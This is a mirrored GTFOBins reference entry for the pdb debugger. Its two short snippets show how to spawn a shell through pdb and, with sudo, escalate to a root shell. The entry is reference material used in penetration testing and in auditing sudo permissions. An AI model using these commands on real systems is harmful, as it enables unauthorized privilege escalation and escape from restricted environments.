mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
17 lines
374 B
Markdown
17 lines
374 B
Markdown
---
|
|
description: This allows to execute [`python`](/gtfobins/python/) code, other functions may apply.
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'import os; os.system("/bin/sh")' > $TF
|
|
pdb $TF
|
|
cont
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'import os; os.system("/bin/sh")' > $TF
|
|
sudo pdb $TF
|
|
cont
|
|
---
|